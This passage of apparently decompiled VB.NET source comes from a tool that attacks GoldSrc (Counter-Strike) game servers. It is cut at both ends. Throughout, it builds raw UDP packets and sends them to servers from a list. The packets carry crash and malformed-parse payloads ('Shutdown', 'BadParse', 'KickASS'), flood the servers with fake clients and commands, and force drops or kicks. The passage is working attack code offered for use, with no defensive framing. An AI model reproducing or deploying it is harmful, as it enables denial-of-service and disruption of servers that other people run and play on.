                    list.AddRange(DirectCast(Encoding.Default.GetBytes(UserInfo), IEnumerable(Of Byte)))
                Else
                    list.AddRange(DirectCast(Encoding.UTF8.GetBytes(UserInfo), IEnumerable(Of Byte)))
                End If
                list.AddRange(DirectCast(New Byte() { 10 }, IEnumerable(Of Byte)))
                list.AddRange(DirectCast(SteamIDCertificate, IEnumerable(Of Byte)))
                socket.Send(list.ToArray)
                If Me.checkBox16.Checked Then
                    Me.LogRichBox.AppendText(String.Concat(New Object() { DateTime.Now.Hour.ToString, ":", DateTime.Now.Minute, ":", DateTime.Now.Second, " ", Encoding.ASCII.GetString(list.ToArray).Replace("?", String.Empty), Environment.NewLine }))
                    Me.LogRichBox.SelectionStart = Me.LogRichBox.Text.Length
                    Me.LogRichBox.ScrollToCaret
                End If
                If (Me.method.SelectedIndex = 14) Then
                    list2.AddRange(DirectCast(Me.Data.Failds, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H10) Then
                    list2.AddRange(DirectCast(Me.Data.SV_ParseCvarData, IEnumerable(Of Byte)))
                End If
                If (Me.method.SelectedIndex = &H23) Then
                    Using reader As StreamReader = New StreamReader(New FileStream("settings/packets_func.txt", FileMode.Open, FileAccess.Read), Encoding.UTF8)
                        Dim str4 As String = reader.ReadToEnd
                        list2.AddRange(DirectCast(Encoding.Default.GetBytes(str4), IEnumerable(Of Byte)))
                        socket.Send(list2.ToArray)
                    End Using
                End If
                If (Me.method.SelectedIndex = &H1F) Then
                    list2.AddRange(DirectCast(Me.Data.SV_ParseConsistencyResponse, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H11) Then
                    list2.AddRange(DirectCast(Me.Data.FuckDproto, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H13) Then
                    list2.AddRange(DirectCast(Me.Data.JOS2, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H12) Then
                    socket.Send(Me.Data.FVU)
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = 20) Then
                    list2.AddRange(DirectCast(Me.Data.JOS32, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = 8) Then
                    list2.AddRange(DirectCast(Me.Data.SV_ParseCvarData, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H16) Then
                    list2.AddRange(DirectCast(Me.Data.Unknown, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H17) Then
                    list2.AddRange(DirectCast(Me.Data.Shutdown, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H18) Then
                    list2.AddRange(DirectCast(Me.Data.BadParse, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                Else
                    If (Me.method.SelectedIndex = &H21) Then
                        num4 = 1
                        Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                            Form1.holdV = Form1.fix2(num4, 1)
                            list2.Clear
                            Dim list3 As List(Of Byte) = list2
                            Dim buffer2 As Byte() = New Byte(15  - 1) {}
                            buffer2(0) = 1
                            buffer2(14) = 3
                            list3.AddRange(DirectCast(buffer2, IEnumerable(Of Byte)))
                            str5 = """caatttt; testwait; -150003123; wait; +5000033; wait; testcaatttt; wait; +35000033; testwait; -5000033;' + 'wait; +caatttt; wait; -5000033; test2+5000033; wait; testcaatttt; wait; +35000033; test2 testtest test  test testtest test  testtest test+5000033; wait; testcaatttt; wait; +35000033; test2 testtest test  testtestwait"""
                            list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(str5), IEnumerable(Of Byte)))
                            list2.AddRange(DirectCast(New Byte(8  - 1) {}, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            Dim list4 As List(Of Byte) = list2
                            Dim buffer3 As Byte() = New Byte(15  - 1) {}
                            buffer3(0) = 2
                            buffer3(14) = 3
                            list4.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                            Dim str6 As String = """caatttt; testwait; -150003123; wait; +5000033; wai+5000033; wait; testcaatttt; wait; +35000033; test2 testtest test  testt; testcaatttt; wait;' + '+5000033; wait; testcaatttt; wait; +15000+5000033; wait; testcaatttt; wait; +1+5000033; wait; testcaatttt; wait; +35000033; test2 testtest test  test5000033; test2 testtest test  test0; test2 testtest test  test+35000033"
                            list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(str6), IEnumerable(Of Byte)))
                            list2.AddRange(DirectCast(New Byte(8  - 1) {}, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            Dim list5 As List(Of Byte) = list2
                            Dim buffer4 As Byte() = New Byte(15  - 1) {}
                            buffer4(0) = 3
                            buffer4(14) = 3
                            list5.AddRange(DirectCast(buffer4, IEnumerable(Of Byte)))
                            Dim str7 As String = """caatttt; testwait; -150003123; wait; +5000033; wait; test2 +5000033; wait; testcaatttt; wait; +35000033;test2+5000033; wait; testcaatttt; wait;' + '+35000033; test2 testtest test  testtesttest testtest test  testtesttest test  testtest testtestcaatttt+5000033; wait;test2test+5000033; wait; testcaatttt; wait; +35000033;' + 'test2 testtest test  testtest testtest test  testtest testtestcaatttt; wait; +35000033; + test2 testtest test  test; wait; +35000033"
                            list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(str7), IEnumerable(Of Byte)))
                            list2.AddRange(DirectCast(New Byte(8  - 1) {}, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            num4 += 1
                        Loop
                    End If
                    If (Me.method.SelectedIndex = 10) Then
                        list2.AddRange(DirectCast(New Byte() { 0, 0, 0, 0, 0, 0, 0, 0, 3, &H72, &H65, &H63, &H6F, 110, 110, &H65, &H63, &H74, 0 }, IEnumerable(Of Byte)))
                    Else
                        list2.AddRange(DirectCast(Me.Data.New, IEnumerable(Of Byte)))
                        socket.Send(list2.ToArray)
                        list2.Clear
                        If Me.checkBox13.Checked Then
                            list2.AddRange(DirectCast(New Byte() { 2, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 2, 0, 0, 0, 2, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 3, 0, 0, 0, 2, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 4, 0, 0, 0, 2, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 5, 0, 0, 0, 3, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 6, 0, 0, 0, 4, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 7, 0, 0, 0, 4, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 8, 0, 0, 0, 5, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 6, 0, 0, 0, 7, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 9, 0, 0, 0, 7, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 10, 0, 0, 0, 7, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 8, 0, 0, 0, 9, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 11, 0, 0, &H80, 9, 0, 0, 0, 3, &H73, &H65, 110, 100, &H72, &H65, &H73, 0, 3, &H5F, &H30, 50, &H31, 50, &H30, &H30, &H31, 50, &H30, &H31, &H34, 50, &H33, 50, &H34, &H35, &H36, 50, &H39, 0 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 12, 0, 0, 0, 9, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 13, 0, 0, 0, 10, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 14, 0, 0, 0, 11, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 15, 0, 0, 0, 12, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H10, 0, 0, 0, 11, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H11, 0, 0, 0, 13, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H12, 0, 0, 0, 14, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H13, 0, 0, 0, 14, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { 20, 0, 0, 0, 15, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H15, 0, 0, 0, &H10, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H16, 0, 0, 0, &H10, 0, 0, &H80, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H17, 0, 0, 0, &H11, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H18, 0, 0, 0, &H11, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H1B, 0, 0, 0, &H12, 0, 0, &H80, 2, 7, &HA1, 2, &H19, 80, &H1B, &H20, &HF3, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H1C, 0, 0, 0, &H12, 0, 0, &H80, 2, 7, &HED, 5, &H19, 80, &H1C, &H20, 3, 2 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            list2.Clear
                            list2.AddRange(DirectCast(New Byte() { &H1D, 0, 0, 0, &H12, 0, 0, &H80, 2, 7, &H4A, 4, &H19, 80, &H1D, &H20, &HF3, 1 }, IEnumerable(Of Byte)))
                            socket.Send(Me.COM_Munge(list2.ToArray))
                            socket.Receive(buffer)
                            list2.Clear
                        End If
                    End If
                End If
                list2.Clear
                list2.Add(2)
                Dim buffer6 As Byte() = New Byte(3  - 1) {}
                buffer6(2) = &H80
                list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                list2.AddRange(Enumerable.Take(Of Byte)(DirectCast(buffer, IEnumerable(Of Byte)), 2))
                list2.AddRange(DirectCast(New Byte(2  - 1) {}, IEnumerable(Of Byte)))
                If (Me.method.SelectedIndex = 0) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H63, &H73, &H5F, &H68, &H61, &H76, &H61, 110, &H61, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H63, &H73, &H5F, &H68, &H61, &H76, &H61, 110, &H61, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H63, &H73, &H5F, &H68, &H61, &H76, &H61, 110, &H61, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H63, &H73, &H5F, &H68, &H61, &H76, &H61, 110, &H61, &H2E, &H77, &H61, 100, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list.ToArray))
                        list.Clear
                        num4 += 1
                    Loop
                ElseIf (Me.method.SelectedIndex = 1) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H68, &H61, &H6C, &H66, &H6C, &H69, &H66, &H65, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H68, &H61, &H6C, &H66, &H6C, &H69, &H66, &H65, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H68, &H61, &H6C, &H66, &H6C, &H69, &H66, &H65, &H2E, &H77, &H61, 100, 0, 3, 100, &H6C, &H66, &H69, &H6C, &H65, &H20, &H68, &H61, &H6C, &H66, &H6C, &H69, &H66, &H65, &H2E, &H77, &H61, 100, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                ElseIf (Me.method.SelectedIndex = 2) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, &H73, &H70, &H61, &H77, 110, &H20 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        str5 = (Me.textBox3.Text & " " & Me.textBox3.Text)
                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(str5), IEnumerable(Of Byte)))
                        list2.AddRange(DirectCast(New Byte(3  - 1) {}, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 3) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 3, &H73, &H65, 110, 100, &H72, &H65, &H73, &H20, 0, 3, 0, 3, &H73, &H65, 110, 100, &H72, &H65, &H73, &H20, 0, 3, 0, 3, &H73, &H65, 110, 100, &H72, &H65, &H73, &H20, 0, 3, 0, 3, &H73, &H65, 110, 100, &H72, &H65, &H73, &H20, 0, 3, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = &H15) Then
                    num3 = 1
                    Do While (num3 <= &H13)
                        list2.AddRange(DirectCast(Me.Data.KickASS, IEnumerable(Of Byte)))
                        num3 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 4) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        list2.Clear
                        Form1.holdV = Form1.fix2(num4, 1)
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 3, 110, &H65, &H77, 0, 3, 110, &H65, &H77, 0, 3, 110, &H65, &H77, 0, 3, 110, &H65, &H77, 0, 3, 110, &H65, &H77, 0, 3, 110, &H65, &H77, 0, 0, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 6) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        list2.Clear
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.AddRange(DirectCast(New Byte() { Form1.fixbug(num4, 1), CByte(Form1.holdV), 30 }, IEnumerable(Of Byte)))
                        list2.AddRange(DirectCast(Me.Data.KeyBug, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 11) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 3, &H73, &H74, &H61, &H74, &H75, &H73, 0, 0, 0, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 12) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 3, &H73, &H68, &H6F, &H77, &H69, 110, &H66, &H6F, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 13) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        buffer6 = New Byte() { 0, 0, 30, 0, 0, 0, 0, 0, 0, 3, &H66, &H75, &H6C, &H6C, &H75, &H70, 100, &H61, &H74, &H65, 0, 0, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        buffer6(1) = CByte(Form1.holdV)
                        list2.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        list2.Clear
                        num4 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = 7) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list.Clear
                        buffer6 = New Byte() { 0, 30, 0, 0, 0, 0, 0, 0, 0, 3, &H6B, &H69, &H63, &H6B, 0, 3, 0, 3, &H6B, &H69, &H63, &H6B, 0, 3, 0 }
                        buffer6(0) = Form1.fixbug(num4, 1)
                        list.AddRange(DirectCast(buffer6, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list.ToArray))
                        list.Clear
                        num4 += 1
                    Loop
                End If
                list2.Clear
                If (Me.method.SelectedIndex = 5) Then
                    num4 = 1
                    Do While (num4 <= Convert.ToInt32(Me.textBox2.Text))
                        Form1.holdV = Form1.fix2(num4, 1)
                        list2.Clear
                        list2.AddRange(DirectCast(New Byte() { Form1.fixbug(num4, 1), CByte(Form1.holdV) }, IEnumerable(Of Byte)))
                        list2.AddRange(DirectCast(Me.Data.CmdFake, IEnumerable(Of Byte)))
                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Message), IEnumerable(Of Byte)))
                        list2.AddRange(DirectCast(New Byte(2  - 1) {}, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list2.ToArray))
                        num4 += 1
                    Loop
                End If
                If (Me.comboBox1.SelectedIndex = 2) Then
                    socket.Close
                End If
                If (Me.comboBox1.SelectedIndex = 0) Then
                    num4 = 1
                    Do While (num4 <= 2)
                        Form1.holdV = Form1.fix2(num4, 1)
                        list.Clear
                        list.AddRange(DirectCast(Me.Data.DropClient, IEnumerable(Of Byte)))
                        socket.Send(Me.COM_Munge(list.ToArray))
                        socket.Receive(buffer)
                        num4 += 1
                    Loop
                End If
                If (Me.comboBox1.SelectedIndex = 1) Then
                    list2.Clear
                    list2.AddRange(DirectCast(Me.Data.DropClientError, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.comboBox1.SelectedIndex = 3) Then
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                Dim bytes As Byte() = Me.COM_UnMunge(buffer)
                str = New String(Enumerable.ToArray(Of Char)(Enumerable.Select(Of Char, Char)(Encoding.ASCII.GetString(bytes, 0, bytes.Length), Function (ByVal c As Char)
                    If ((c > ChrW(0)) AndAlso (c <> ChrW(10))) Then
                        Return c
                    End If
                    Return "P"c
                End Function)))
                If Not Me.checkBox8.Checked Then
                    Return str
                End If
                If str.Contains("Too many resources in client resource list") Then
                    Return " Too many resources in client resource list"
                End If
                If str.Contains("You?ap") Then
                    Return ">> You are banned from the server."
                End If
                If str.Contains("This server is using an newer protocol") Then
                    Return " This server is using an newer protocol (47-48)."
                End If
                If str.Contains("Error!Auth Violation(2).") Then
                    Return " Error ! Auth Violation."
                End If
                If str.Contains("Fake players spamming or protocol violation") Then
                    Return " Fake players spamming or protocol violation."
                End If
                If str.Contains("sent") Then
                    Return " Client sent drop."
                End If
                If str.Contains("???" & ChrW(2) & "???") Then
                    Return " Connected."
                End If
                If str.Contains("Kicked") Then
                    Return " You are kicked from the server."
                End If
                If str.Contains("9Bad") Then
                    Return " Bad Challenge."
                End If
                If (str.Contains("9STE") OrElse str.Contains("You?U8?")) Then
                    Return "STEAM UserID is already in use on this server."
                End If
                If str.Contains("Timed") Then
                    Return " Timed out."
                End If
                If str.Contains("Hac?") Then
                    Return " Hacker xD"
                End If
                If str.Contains("character") Then
                    Return " Bad command in client_command."
                End If
                If str.Contains("BZ2") Then
                    Return " Privileges set."
                End If
                If str.Contains("Privileges ") Then
                    str = " Privileges set."
                Else
                    If Not str.Contains("PP") Then
                        Return str
                    End If
                    str = " Privileges set."
                End If
            Catch exception As Exception
                str = ("Socket problem " & exception)
            End Try
            Return str
        End Function

        Private Sub ServerListRichBox_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
            Me.Label4.Text = ("Servers : " & Enumerable.Count(Of String)((From line In DirectCast(Me.ServerListRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
        End Sub

        Public Sub setExploit(ByVal IP As String)
            Dim num As Integer
            Dim strArray As String()
            Dim point As IPEndPoint
            Dim socket As Socket
            Dim num2 As Integer
            Dim list As List(Of Byte)
            Dim buffer As Byte()
            Dim num3 As Integer
            If (Me.method.SelectedIndex = &H1C) Then
                num
                For num = 0 To Me.ServerListRichBox.Lines.Length - 1
                    If Not String.IsNullOrEmpty(Me.ServerListRichBox.Lines(num)) Then
                        strArray = IP.Split(New Char() { ":"c })
                        point = New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                        socket = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                        If (Integer.TryParse(Me.textBox12.Text, num2) AndAlso (num2 > 0)) Then
                            socket.SendTimeout = num2
                            socket.ReceiveTimeout = num2
                        End If
                        socket.Connect(point)
                        list = New List(Of Byte)
                        buffer = New Byte(&H800  - 1) {}
                        num3 = 1
                        Do While (num3 <= Convert.ToInt32(Me.textBox2.Text))
                            socket.Send(Me.Data.KickASS2)
                            socket.Send(Me.Data.KickASS2)
                            socket.Send(Me.Data.KickASS2)
                            socket.Send(Me.Data.KickASS2)
                            socket.Send(Me.Data.KickASS2)
                            socket.Send(Me.Data.KickASS2)
                            num3 += 1
                        Loop
                    End If
                Next num
            End If
            If (Me.method.SelectedIndex = &H22) Then
                num
                For num = 0 To Me.ServerListRichBox.Lines.Length - 1
                    If Not String.IsNullOrEmpty(Me.ServerListRichBox.Lines(num)) Then
                        strArray = IP.Split(New Char() { ":"c })
                        point = New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                        socket = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                        If (Integer.TryParse(Me.textBox12.Text, num2) AndAlso (num2 > 0)) Then
                            socket.SendTimeout = num2
                            socket.ReceiveTimeout = num2
                        End If
                        socket.Connect(point)
                        list = New List(Of Byte)
                        buffer = New Byte(&H800  - 1) {}
                        num3 = 1
                        Do While (num3 <= Convert.ToInt32(Me.textBox2.Text))
                            socket.Send(Me.Data.gamedir)
                            num3 += 1
                        Loop
                    End If
                Next num
            End If
            If (Me.method.SelectedIndex = &H1D) Then
                num
                For num = 0 To Me.ServerListRichBox.Lines.Length - 1
                    If Not String.IsNullOrEmpty(Me.ServerListRichBox.Lines(num)) Then
                        strArray = IP.Split(New Char() { ":"c })
                        point = New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                        socket = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                        If (Integer.TryParse(Me.textBox12.Text, num2) AndAlso (num2 > 0)) Then
                            socket.SendTimeout = num2
                            socket.ReceiveTimeout = num2
                        End If
                        socket.Connect(point)
                        list = New List(Of Byte)
                        buffer = New Byte(&H800  - 1) {}
                        num3 = 1
                        Do While (num3 <= Convert.ToInt32(Me.textBox2.Text))
                            socket.Send(Me.Data.KickASS3)
                            socket.Send(Me.Data.KickASS3p7)
                            socket.Send(Me.Data.KickASS3p3)
